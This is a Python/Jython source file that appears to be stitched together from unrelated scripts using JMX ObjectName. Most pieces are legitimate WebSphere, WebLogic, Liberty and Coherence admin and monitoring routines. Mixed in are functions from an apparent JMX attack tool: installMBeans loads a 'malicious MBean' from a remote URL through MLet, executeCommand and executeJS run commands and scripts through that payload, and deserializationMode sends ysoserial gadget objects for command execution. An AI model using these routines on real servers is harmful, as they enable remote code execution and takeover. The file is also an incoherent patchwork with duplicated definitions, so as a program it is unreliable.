def _makeNames(conn, config):
"""Generate the names of objects to query and their attibutes.
Yield
-----
objectName : `str`
Name of the object.
attributes : `lsit`
Names of attributes for this object.
"""
all_metrics = defaultdict(set)
# get the list of objects and attributes to monitor
all_names = list(conn.queryNames(ObjectName("*:*"), None))
for metrics in config["metrics"]:
objectName = metrics["object"]
logging.debug("querying object %s", objectName)
# names = conn.queryNames(objectName, None)
for oname in all_names:
if not objectName.apply(oname):
continue
info = conn.getMBeanInfo(oname)
logging.debug("checking %s", oname)
attributes = set()
for attr in info.attributes:
if metrics["attributes"].match(attr.name):
attributes.add(attr.name)
logging.debug(" %s matches", attr.name)
if attributes:
all_metrics[str(oname)] |= attributes
for oname, attributes in all_metrics.items():
yield oname, list(attributes)
def _read_config(yaml_path):
"""Read configuration from YAML file.
YAML should look like:
metrics:
- object: domain:pattern # this is in format accepted by ObjectName
attributes: .* # this is regular expression
- object: domain2:*
attributes: attr.*
Parameters
----------
yaml_path : `str`
Path to configuration file
"""
with open(yaml_path) as input:
config = yaml.load(input, Loader=yaml.FullLoader)
logging.debug("config: %r", config)
if "metrics" not in config:
config["metrics"] = [dict(object="*:*", attributes=".*")]
for cfg in config["metrics"]:
cfg["object"] = ObjectName(cfg["object"])
cfg["attributes"] = re.compile(cfg.get("attributes", ".*"))
return config
def installMBeans(args, bean_server, full_mlet_url):
# Installation, load javax.management.loading.MLet to install additional MBeans
# If loading fails, the Mlet is already loaded...
try:
mlet_bean = bean_server.createMBean("javax.management.loading.MLet", None)
except:
# MLet Bean can't be created because it already exists
mlet_bean = bean_server.getObjectInstance(ObjectName("DefaultDomain:type=MLet"))
print "[+] Loaded " + str(mlet_bean.getClassName())
# Install payload Mlet via getMbeansFromURL
# pass the URL of the web server
print "[+] Loading malicious MBean from " + full_mlet_url
print "[+] Invoking: "+ mlet_bean.getClassName() + ".getMBeansFromURL"
inv_array1 = jarray.zeros(1, Object)
inv_array1[0] = full_mlet_url
inv_array2 = jarray.zeros(1, String)
inv_array2[0] = String.canonicalName
resource = bean_server.invoke(mlet_bean.getObjectName(), "getMBeansFromURL", inv_array1, inv_array2)
# Check if the Mlet was loaded successfully
for res in resource:
if res.__class__.__name__ == "InstanceAlreadyExistsException":
print "[+] Object instance already existed, no need to install it a second time"
elif res.__class__.__name__ == "ObjectInstance":
print "[+] Successfully loaded " + str(res.getObjectName())
def queryWAS(self, adminClient, query="WebSphere:*"):
"""Add the given WasObject instance to this container.
PARAMETERS:
adminClient - an instance of the pylib.Was.AdminClient class
query - something like: WebSphere:*:type=Server,* or *:node=Node1,type=Server,* or *:type=JVM,process=server1,node=Node1,* or *:process=server1,* or *:process=server1,node=Node1,* or any combination of
type The resource type that the MBean represents
name The name identifier for the individual instance of the MBean
cell The name of the cell in which the MBean is executing
node The name of the node in which the MBean is executing
process The name of the process in which the MBean is executing
RETURN:
A list of javax.management.ObjectName's.
"""
self.objectNames = list()
try:
#objName = ObjectName( "WebSphere:*" )
objName = ObjectName(query)
objNameSet = adminClient.connection.queryNames(objName, None)
#print dir( objNameSet )
iter = objNameSet.iterator()
while iter.hasNext():
myObject = iter.next()
#self.objectNames.append( ObjectName( myObject.toString() ) )
#print dir( myObject )
self.objectNames.append(myObject)
#Endwhile
#self.sortData() # Too slow here. Do it only when asked.
except Exception, e:
self.logIt(__name__ + ".queryWAS(): " + str(e) + "\n")
return list() # an empty list
def createODRDynamicCluster():
clusterName = dcName
# don't create cluster if it already exists
exist = doesClusterExist(clusterName)
if (exist == "true"):
print "Dynamic cluster '" + clusterName + "' already exists. Skipping its creation..."
return
mbean=AdminControl.queryNames("WebSphere:*,process=dmgr,type=DynamicClusterConfigManager")
attrsProps = Properties()
attrsProps.put("numVerticalInstances",numVerticalInstance)
attrsProps.put("operationalMode",defaultMode)
attrsProps.put("isolationGroup",isolationGroup)
attrsProps.put("strictIsolationEnabled",strictIsolationEnabled)
attrsProps.put("maxInstances",str(maxInstances))
attrsProps.put("minInstances",str(minInstances))
if (minInstances == 0):
attrsProps.put("serverInactivityTime", serverInactivityTime)
#memPolicy = "node_nodegroup ="
#memPolicy = memPolicy + "\'" + ngName +"\'"
clusterProperties = Properties()
clusterProperties.put("templateName","http_sip_odr_server")
print "Creating ODR dynamic cluster " + clusterName
localCluster = AdminControl.invoke_jmx(ObjectName(mbean),"createODRDynamicCluster",
[ngName,clusterName,attrsProps,clusterProperties],
["java.lang.String","java.lang.String","java.util.Properties","java.util.Properties"])
def changePassword(password, newpass, bean_server):
# Payload execution
# Load the Payload Met and invoke a method on it
mlet_bean = bean_server.getObjectInstance(
ObjectName("Siberas:name=payload,id=1"))
print "[+] Loaded " + str(mlet_bean.getClassName())
inv_array1 = jarray.zeros(2, Object)
inv_array1[0] = password
inv_array1[1] = newpass
inv_array2 = jarray.zeros(2, String)
inv_array2[0] = String.canonicalName
inv_array2[1] = String.canonicalName
resource = bean_server.invoke(mlet_bean.getObjectName(), "changePassword",
inv_array1, inv_array2)
if str(resource) == "True":
print "[+] Successfully changed password"
else:
print "[-] Unable to change password"
sys.stdout.write("\n")
sys.stdout.flush()
def executeCommand(password, cmd, bean_server, shell):
# Payload execution
# Load the Payload MLet and invoke a method on it
mlet_bean = bean_server.getObjectInstance(
ObjectName("MogwaiLabs:name=payload,id=1"))
print "[+] Loaded " + str(mlet_bean.getClassName())
print "[+] Executing command: " + cmd
inv_array1 = jarray.zeros(3, Object)
inv_array1[0] = password
inv_array1[1] = cmd
inv_array1[2] = shell
inv_array2 = jarray.zeros(3, String)
inv_array2[0] = String.canonicalName
inv_array2[1] = String.canonicalName
inv_array2[2] = String.canonicalName
resource = bean_server.invoke(mlet_bean.getObjectName(), "runCMD",
inv_array1, inv_array2)
print resource
sys.stdout.write("\n")
sys.stdout.flush()
def uninstallMBeans(bean_server):
try:
bean_server.unregisterMBean(ObjectName("MogwaiLabs:name=payload,id=1"))
except:
print "[-] Error: The MBean is not registered in the target server"
sys.exit(0)
print "[+] MBean correctly uninstalled"
def get_servicebus_mbeans(conn, for_update):
global domain_service, alsb_core, service_conf_mbean, session_mgmt_mbean
global service_security_conf_mbean, xacmlauth, default_auth, pipeline_conf_mbean
domain_service = MBeanServerInvocationHandler.newProxyInstance(
conn, ObjectName(DomainRuntimeServiceMBean.OBJECT_NAME))
sec_config = domain_service.getDomainConfiguration(
).getSecurityConfiguration()
default_auth = sec_config.getDefaultRealm().lookupAuthenticationProvider(
'DefaultAuthenticator')
session_mgmt_mbean = domain_service.findService(
SessionManagementMBean.NAME, SessionManagementMBean.TYPE, None)
if for_update:
session_id = '.' + session_name
create_session()
else:
session_id = ''
alsb_core = get_conf_mbean(conn, ALSBConfigurationMBean, session_id)
service_conf_mbean = get_conf_mbean(conn, ServiceConfigurationMBean,
session_id)
pipeline_conf_mbean = get_conf_mbean(conn, PipelineConfigurationMBean,
session_id)
service_security_conf_mbean = get_conf_mbean(
conn, ServiceSecurityConfigurationMBean, session_id)
xacmlauth = service_security_conf_mbean.newAuthorizationProviderIdentifier(
"XACMLAuthorizer")
def createJMSPersistentStore(jmsServerName, schemaName, migratableTargetName):
storeName = "JDBCStore_" + jmsServerName
# create a datasource
dataSource = createJMSStoreDS(jmsServerName, schemaName)
# create JDBCStore and link DataSource to it
cmo = cd("/")
store = getMBean("/JDBCStores/" + storeName)
if (store == None):
LOGGER.info("Creating JDBC Persistent Store" + storeName)
store = cmo.createJDBCStore(storeName)
else:
LOGGER.info("JDBC Persistent Store" + storeName + " already exists")
store.setDataSource(dataSource)
store.setPrefixName(jmsServerName)
# target JDBCStore at migraratable target (of the JMS Server)
cmo = cd("/JDBCStores/" + storeName)
set(
'Targets',
jarray.array([
ObjectName('com.bea:Name=' + migratableTargetName +
',Type=MigratableTarget')
], ObjectName))
return store
def get_conf_mbean(conn, mbean_class, sessionId):
conf_name = ObjectName("com.bea:Name=" + mbean_class.NAME + sessionId +
",Type=" + mbean_class.TYPE)
mbeans = HashSet()
mbeans.addAll(conn.queryNames(conf_name, None))
return MBeanServerInvocationHandler.newProxyInstance(
conn,
mbeans.iterator().next(), mbean_class, false)
def _run(conn, config, args):
"""Run monitoring loop until killed.
Parameters
----------
conn :
server connection instance
config : `dict`
Configuration dictionary
args : `argparse.Namespace`
Parsed command line arguments
"""
while not _stop:
with closing(_makeOutput(args)) as out:
lastRotateTime = time.time()
while not _stop:
nextCycle = int(time.time() / args.period + 1) * args.period
logging.debug("sleep for %f sec", nextCycle - time.time())
while time.time() < nextCycle:
interval = min(0.1, nextCycle - time.time())
if interval > 0:
time.sleep(interval)
if _stop:
break
if _stop:
break
for oname, attributes in _makeNames(conn, config):
now = time.time()
oname = ObjectName(oname)
try:
values = conn.getAttributes(oname, attributes)
except Exception as exc:
logging.error(
"Failed to get attributes oname=%s attributes=%s: %s",
oname, attributes, exc)
continue
except: # noqa
logging.error(
"Failed to get attributes oname=%s attributes=%s",
oname, attributes)
continue
line = _attr2influx(oname, values, args.host)
if line:
ts = int(now * 1e9)
print(line, ts, file=out)
if args.rotate_hours is not None:
# re-open output file after rotation period
tdiff = time.time() - lastRotateTime
if tdiff >= args.rotate_hours * 3600:
logging.debug(
"%f seconds since last rotation, re-opening output file",
tdiff)
break
def doWork():
"""Do all the real work for this program."""
rVal = True
rc = 0
printInfo()
wasAdminClient = AdminClient(hostname="dilabvirt31-v1",
logger=CONFIG['logger'])
myclient = wasAdminClient.createSOAPDefault()
configService = ConfigService(adminClient=myclient,
logger=CONFIG['logger'])
session = Session()
# query to get dmgr
dmgr = configService.resolve(session,
"Node=cell101N2:Server=as_cell101a_01")[0]
# query to get the trace service component in dmgr.
#pattern = configService.configServiceHelper.createObjectName( None, "TraceService" )
pattern = ConfigServiceHelper.createObjectName(None, "TraceService")
traceService = ObjectName(
configService.queryConfigObjects(session, dmgr, pattern,
None)[0].toString())
# get the current dmgr's trace specification.
trace = configService.getAttribute(session, traceService,
"startupTraceSpecification")
print "trace is " + str(trace)
# set the dmgr's trace specification to new value.
newTrace = String("*=all=enabled")
#newTrace = String( "*=info" )
attrList = AttributeList()
attrList.add(Attribute("startupTraceSpecification", newTrace))
configService.setAttributes(session, traceService, attrList)
newTrace = String(
configService.getAttribute(session, traceService,
"startupTraceSpecification"))
print "new trace is " + str(newTrace)
## save the chanage.
configService.save(session, False)
# set it back.
#configService.configServiceHelper.setAttributeValue( attrList, "startupTraceSpecification", trace )
ConfigServiceHelper.setAttributeValue(attrList,
"startupTraceSpecification", trace)
configService.setAttributes(session, traceService, attrList)
newTrace = configService.getAttribute(session, traceService,
"startupTraceSpecification")
print "trace is set back to " + str(newTrace)
configService.save(session, False)
configService.discard(session)
return rc
def startMemberServer(trustStore, trustStorePassword, mconnection, host, memberUsrDir, serverName) :
print "Starting member: host=" + host + " usrDir=" + memberUsrDir + " serverName=" + serverName
objectName = ObjectName(SERVER_COMMANDS_MBEAN_OBJECT_NAME)
result = mconnection.invoke(objectName, "startServer",
[host, memberUsrDir, serverName, ""],
[jstring, jstring, jstring, jstring])
return result
def configureJmsServers():
# Create persistent stores for JMS servers
jmsStoreSchemaName = pbb.properties.get("schema.name.JMS")
cmo = cd("/")
jmsServers = cmo.getJMSServers()
mtName = ""
for svr in jmsServers:
startOnlineEditSession()
# Get the JMS Server's name
sName = svr.getName()
LOGGER.info('Configuring JMS Server ' + sName)
# Ensure JMS server targetted at migratable target
target = svr.getTargets()[0]
mtName = target.getName()
# TODO - line below should maybe inspect type, not name.
if (String(
(String(mtName)).toLowerCase()).contains('migratable') == 0):
if (target.getType() != 'MigratableTarget'):
# Construct migratable target name from current (managed server) target name
mtName = target.getName() + ' (migratable)'
LOGGER.info('Setting migratable target for JMSServer ' +
sName + ' to ' + mtName)
cmo = cd('/JMSServers/' + sName)
set(
'Targets',
jarray.array([
ObjectName('com.bea:Name=' + mtName +
',Type=MigratableTarget')
], ObjectName))
cmo = cd('/MigratableTargets/' + mtName)
if (cmo.getMigrationPolicy() == 'failure-recovery'):
LOGGER.info('Migration policy for MigratableTarget ' + mtName +
" already set to 'failure-recovery'")
else:
LOGGER.info('Setting Migration policy for MigratableTarget ' +
mtName + " to 'failure-recovery'")
cmo.setMigrationPolicy('failure-recovery')
else:
LOGGER.info('JMS Server ' + sName +
' already has a migratable target ')
# Create and target JDBC persistent store for server
store = svr.getPersistentStore()
if (store == None or store.getType() == 'FileStore'):
LOGGER.info('Creating persistent store for JMSServer ' + sName)
store = createJMSPersistentStore(sName, jmsStoreSchemaName, mtName)
# establish JDBCStore as store for server
cmo = cd("/JMSServers/" + sName)
svr.setPersistentStore(store)
else:
LOGGER.info('Custom persistent store for JMSServer ' + sName +
' already set ')
completeOnlineEditSession()
def removeApp(trustStore, trustStorePassword, mconnection, server, host,
usrdir, remoteAppDir, appFile):
# Decorate the mbean connection with the routing information for the supplied server.
jstring = "java.lang.String"
routingCtxObjectName = ObjectName(ROUTING_CONTEXT_MBEAN_OBJECT_NAME)
routingCtxObj = mconnection.invoke(routingCtxObjectName,
"assignServerContext",
[server, host, usrdir],
[jstring, jstring, jstring])
if (routingCtxObj != True):
raise EnvironmentError(
"Error creating routing context to target server. The return value from invoke was: "
+ str(routingCtxObj))
objectName = ObjectName(FILE_TRANSFER_MBEAN_OBJECT_NAME)
mconnection.invoke(objectName, "deleteFile",
[remoteAppDir + "/" + appFile], ["java.lang.String"])
def rePointAppTargets(userName, password, url, properties):
if connectToAdminServer(userName, password, url):
try:
edit()
startEdit()
cmo = cd('AppDeployments')
i = 1
source = properties.get("migrate.target." + str(i) + ".source")
while source:
destination = properties.get("migrate.target." + str(i) +
".destination")
destinationType = properties.get("migrate.target." + str(i) +
".type")
deployments = ls(returnMap='true')
for deployment in deployments:
print deployment
pushd(deployment + "/Targets")
targets = ls(returnMap='true')
newTargets = []
rePoint = False
for target in targets:
print("Target='" + target + "'")
theTarget = target
if target == source:
theTarget = destination
type = destinationType
rePoint = True
else:
# find the type:
pushd(target)
type = get("Type")
newTargets.append(
ObjectName("com.bea:Name=" + theTarget + ",Type=" +
type))
print("New Targets: " +
str(jarray.array(newTargets, ObjectName)))
if rePoint:
print("Repointing targets: " +
str(jarray.array(newTargets, ObjectName)))
set('Targets', jarray.array(newTargets, ObjectName))
popd()
i = i + 1
source = properties.get("migrate.target." + str(i) + ".source")
save()
activate()
except Exception, e:
LOGGER.severe("Caught Exception in migration : " + e)
cancelEdit("y")
raise e
def configureHostAccess(trustStore, trustStorePassword, mconnection, host, hostCredentialMap, newHost) :
# Decorate the mbean connection with the routing information for the supplied server.
routingCtxObjectName = ObjectName(ROUTING_CONTEXT_MBEAN_OBJECT_NAME)
routingCtxObj = mconnection.invoke(routingCtxObjectName,
"assignHostContext",
[host],
[jstring])
if (routingCtxObj != True):
raise EnvironmentError("Error creating routing context to target host. The return value from invoke was: " + str(routingCtxObj))
objectName = ObjectName(COLLECTIVE_REGISTRATION_MBEAN_OBJECT_NAME)
methodName = "updateHost"
if (newHost):
methodName = "registerHost"
mconnection.invoke(objectName, methodName,
[host, hostCredentialMap],
[jstring, jmap])
def joinMemberServer(mconnection, host, memberUsrDir, memberName, wlpDir, trustStorePassword, hostAuthInfo) :
# build credential Map
certProps = HashMap()
certProps.put(COLLECTIVE_TRUST_KEYSTORE_PASSWORD, trustStorePassword)
objectName = ObjectName(COLLECTIVE_REGISTRATION_MBEAN_OBJECT_NAME)
mconnection.invoke(objectName, "join",
[host, memberUsrDir, memberName, wlpDir, trustStorePassword, certProps, hostAuthInfo],
[jstring, jstring, jstring, jstring, jstring, jmap, jmap])
def _dump(conn):
"""Dump full list of metrics,
Parameters
----------
conn :
server connection instance
"""
names = list(conn.queryNames(ObjectName("*:*"), None))
names.sort(key=str)
for oname in names:
info = conn.getMBeanInfo(oname)
print("{}".format(oname))
for attr in info.attributes:
print(" {}: {}".format(attr.name, attr.type))
def deserializationMode(args):
if not os.path.isfile('./jars/ysoserial.jar'):
print "[-] Error: Did not find ysoserial.jar in jars directory. Please download it from https://github.com/frohoff/ysoserial and move it in the jars directory"
sys.exit(1)
sys.path.append("./jars/ysoserial.jar")
print "[+] Added ysoserial API capacities"
from ysoserial.payloads.ObjectPayload import Utils
# Connect to the JMX server
bean_server = connectToJMX(args)
# Generate deserialization object with ysoserial.jar
payload_object = Utils.makePayloadObject(args.gadget, args.cmd)
# Command execution
# Load default MLet java.util.logging and invoke method getLoggerLevel on it
mlet_bean = bean_server.getObjectInstance(
ObjectName("java.util.logging:type=Logging"))
print "[+] Loaded " + str(mlet_bean.getClassName())
print "[+] Passing ysoserial object as parameter to getLoggerLevel(String loglevel)"
inv_array1 = jarray.zeros(1, Object)
inv_array1[0] = payload_object
inv_array2 = jarray.zeros(1, String)
inv_array2[0] = String.canonicalName
try:
resource = bean_server.invoke(mlet_bean.getObjectName(),
"getLoggerLevel", inv_array1, inv_array2)
except:
if "argument type mismatch" in str(sys.exc_info()[1]):
print "[+] Got an argument type mismatch exception - this is expected"
elif "Access denied! Invalid access level" in str(sys.exc_info()[1]):
print "[+] Got an access denied exception - this is expected"
else:
print "[-] Got a " + str(
sys.exc_info()[1]) + "exception, exploitation failed"
sys.stdout.write("\n")
sys.stdout.flush()
print "[+] Done"
def sync(self):
"""Perform a "multiSync" on all teh nodes in the cell.
PARMETERS:
RETURN:
True if completed or False
"""
self.debug( __name__ + ".sync(): Called.\n" )
rc = False
iter = self.adminClient.connection.queryNames( ObjectName( "WebSphere:*,type=DeploymentManager" ), None ).iterator()
while iter.hasNext():
on = iter.next()
self.logIt( __name__ + ".sync(): " + on.toString() + "\n" )
self.adminClient.invoke( on, "multiSync", [Boolean( Boolean.TRUE )], ["java.lang.Boolean"] )
self.logIt( __name__ + ".sync(): Successfully synced all nodes.\n" )
rc = True
#Endwhile
return rc
def configureJmsServers():
# Create persistent stores for JMS servers
jmsStoreSchemaName = props.get("schema.name.SOAJMS")
cmo = cd("/")
jmsServers = cmo.getJMSServers()
mtName = ""
for svr in jmsServers:
# Get the JMS Server's name
sName = svr.getName()
LOGGER.info('Configuring JMS Server ' + sName)
# Ensure JMS server targetted at migratable target
target = svr.getTargets()[0]
mtName = target.getName()
if (target.getType() != 'MigratableTarget'):
# Construct migratable target name from current (managed server) target name
mtName = target.getName() + ' (migratable)'
LOGGER.info('Setting migratable target for JMSServer ' + sName +
' to ' + mtName)
cmo = cd('/JMSServers/' + sName)
set(
'Targets',
jarray.array([
ObjectName('com.bea:Name=' + mtName +
',Type=MigratableTarget')
], ObjectName))
cmo = cd('/MigratableTargets/' + mtName)
if (cmo.getMigrationPolicy() == 'failure-recovery'):
LOGGER.info('Migration policy for MigratableTarget ' + mtName +
" already set to 'failure-recovery'")
else:
LOGGER.info('Setting Migration policy for MigratableTarget ' +
mtName + " to 'failure-recovery'")
cmo.setMigrationPolicy('failure-recovery')
# Create and target JDBC persistent store for server
store = svr.getPersistentStore()
if (store == None or store.getType() == 'FileStore'):
LOGGER.info('Creating persistent store for JMSServer ' + sName)
store = createJMSPersistentStore(sName, jmsStoreSchemaName, mtName)
# establish JDBCStore as store for server
cmo = cd("/JMSServers/" + sName)
svr.setPersistentStore(store)
else:
LOGGER.info('Custom persistent store for JMSServer ' + sName +
' already set ')
def get_bean(bean_server, bean, attribute):
"""Retrieve bean attribute from JMX
Args:
bean_server (obj): connection to a bean server
bean (str): domain and name of the bean. Eg: java.lang:type=Memory
attribute (str): attribute to retrieve. Eg: HeapMemoryUsage
Returns:
obj: attribute of the bean
"""
tmp = None
objectName = ObjectName(bean);
try:
tmp = bean_server.getAttribute(objectName, attribute)
except Exception, e:
logger.warn('Cannot retrieve bean attribute. Bean: ' + bean + ' Attribute: ' + attribute + ' Error: ' + str(e))
return None
def executeJS(js, bean_server):
# Payload execution
# Load the Payload Met and invoke a method on it
mlet_bean = bean_server.getObjectInstance(ObjectName("Siberas:name=payload,id=1"))
print "[+] Loaded " + str(mlet_bean.getClassName())
print "[+] Executing script"
inv_array1 = jarray.zeros(1, Object)
inv_array1[0] = js
inv_array2 = jarray.zeros(1, String)
inv_array2[0] = String.canonicalName
resource = bean_server.invoke(mlet_bean.getObjectName(), "runJS", inv_array1, inv_array2)
print resource
sys.stdout.write("\n")
sys.stdout.flush()
def putNecessaryFilesToMember(mconnection, trustStorePath) :
truststoreFile = File(trustStorePath)
securityPath = truststoreFile.getParent()
securityFile = File(securityPath)
resourcesPath = securityFile.getParent()
objectName = ObjectName(FILE_TRANSFER_MBEAN_OBJECT_NAME)
mconnection.invoke(objectName, "uploadFile",
[trustStorePath, memberUsrDir + os.sep + "servers" + os.sep + member + os.sep + "resources" + os.sep + "security" + os.sep + "trust.jks", False],
[jstring, jstring, "boolean"])
mconnection.invoke(objectName, "uploadFile",
[resourcesPath + os.sep + "collective" + os.sep + "collectiveTrust.jks", memberUsrDir + os.sep + "servers" + os.sep + member + os.sep + "resources" + os.sep + "collective" + os.sep + "collectiveTrust.jks", False],
[jstring, jstring, "boolean"])
mconnection.invoke(objectName, "uploadFile",
[resourcesPath + os.sep + "collective" + os.sep + "serverIdentity.jks", memberUsrDir + os.sep + "servers" + os.sep + member + os.sep + "resources" + os.sep + "collective" + os.sep + "serverIdentity.jks", False],
[jstring, jstring, "boolean"])
def hasServerStarted(self):
" has server started"
started = False
if not self.__jmxConnection:
self.__createJMXConnection()
if self.__jmxConnection:
self.__clusterMBean = ObjectName("Coherence:type=Cluster")
logger.info("Checking if Coherence cluster node has started:" +
` self.__clusterMBean `)
running = self.__jmxConnection.getAttribute(
self.__clusterMBean, "Running")
logger.info("Coherence cluster node has started:" + ` running `)
if running:
logger.info(
"Getting LocalMemberId attribute from cluster node:" +
` self.__clusterMBean `)
self.__nodeId = self.__jmxConnection.getAttribute(
self.__clusterMBean, "LocalMemberId")
logger.info("Oracle Coherence Cluster LocalMemberId:" +
` self.__nodeId `)
self.__nodeMBean = ObjectName("Coherence:type=Node,nodeId=" +
` self.__nodeId `)
self.__attrMBean["MemoryAvailableMB"] = self.__nodeMBean
self.__attrMBean["SendQueueSize"] = self.__nodeMBean
self.__serviceMBean = ObjectName(
"Coherence:type=Service,name=" + self.__serviceName +
",nodeId=" + ` self.__nodeId `)
self.__attrMBean[
"RequestAverageDuration"] = self.__serviceMBean
self.__attrMBean["RequestPendingCount"] = self.__serviceMBean
self.__attrMBean["TaskAverageDuration"] = self.__serviceMBean
self.__attrMBean["TaskBacklog"] = self.__serviceMBean
self.__attrMBean[
"ThreadAverageActiveCount"] = self.__serviceMBean
started = True
return started
def createDynamicCluster(idx):
suffix = "_" + str(idx)
clusterName = dcName + suffix
# don't create cluster if it already exists
exist = doesClusterExist(clusterName)
if (exist == "true"):
print "Dynamic cluster " + clusterName + " already exists. Skipping its creation..."
return
mbean = AdminControl.queryNames(
"WebSphere:*,process=dmgr,type=DynamicClusterConfigManager")
attrsProps = Properties()
attrsProps.put("numVerticalInstances", numVerticalInstance)
attrsProps.put("operationalMode", defaultMode)
attrsProps.put("isolationGroup", isolationGroup)
attrsProps.put("strictIsolationEnabled", strictIsolationEnabled)
attrsProps.put("maxInstances", str(maxInstances))
attrsProps.put("minInstances", str(minInstances))
if (minInstances == 0):
attrsProps.put("serverInactivityTime", str(serverInactivityTime))
attrsProps.put("maxNodes", maxNodes)
attrsProps.put("minNodes", minNodes)
if (membershipPolicy == None):
memPolicy = "node_nodegroup ="
memPolicy = memPolicy + "\'" + ngName + "\'"
clusterProperties = Properties()
clusterProperties.put("templateName", "defaultXD")
localCluster = AdminControl.invoke_jmx(
ObjectName(mbean), "createDynamicCluster",
[clusterName, attrsProps, clusterProperties, memPolicy], [
"java.lang.String", "java.util.Properties",
"java.util.Properties", "java.lang.String"
])
else:
localCluster = AdminTask.createDynamicCluster(
clusterName,
'[-membershipPolicy membershipPolicy -dynamicClusterProperties [[numVerticalInstances numVer] [operationalMode defaultMode] [isolationGroup isolationGroup] [strictIsolationEnabled strictIsolationEnabled] [maxInstances maxInstances] [minInstances minInstances][maxNodes maxNodes] [minNodes minNodes]]'
)
def removeAsTarget(self):
LOGGER.fine("Entering entities.PbWlstEntities.Server.removeTarget")
pushd('/Deployments')
deployments = lsmap()
for deployment in deployments:
print deployment
pushd(deployment)
pushd("Targets")
targets = lsmap()
newTargets = []
rePoint = False
for target in targets:
print("Target='" + target + "'")
if target != self.name:
# find the type:
pushd(target)
type = get("Type")
newTargets.append(
ObjectName("com.bea:Name=" + target + ",Type=" + type))
popd()
else:
rePoint = True
popd()
print("New Targets: " + str(jarray.array(newTargets, ObjectName)))
if rePoint:
print("Repointing targets: " +
str(jarray.array(newTargets, ObjectName)))
set('Targets', jarray.array(newTargets, ObjectName))
popd()
popd()
LOGGER.fine("Exiting entities.PbWlstEntities.Server.removeTarget")
def createDynamicCluster(clusterName, nodeGroupName):
mbean = AdminControl.queryNames(
"WebSphere:*,process=dmgr,type=DynamicClusterConfigManager")
dynamicClusterProps = Properties()
#dynamicClusterProps.put("numVerticalInstances",numVerticalInstance)
#dynamicClusterProps.put("operationalMode",defaultMode)
#dynamicClusterProps.put("isolationGroup",isolationGroup)
#dynamicClusterProps.put("strictIsolationEnabled",strictIsolationEnabled)
#dynamicClusterProps.put("maxInstances",maxInstances)
#dynamicClusterProps.put("minInstances",minInstances)
#dynamicClusterProps.put("maxNodes",maxNodes)
#dynamicClusterProps.put("minNodes",minNodes)
clusterProps = Properties()
#clusterProps.put("templateName","defaultXD")
AdminControl.invoke_jmx(
ObjectName(mbean), "createODRDynamicCluster",
[nodeGroupName, clusterName, dynamicClusterProps, clusterProps], [
"java.lang.String", "java.lang.String", "java.util.Properties",
"java.util.Properties"
])
AdminConfig.save()
print "Created ODR dynamic cluster '" + clusterName + "' on nodes in node group '" + nodeGroupName + "'"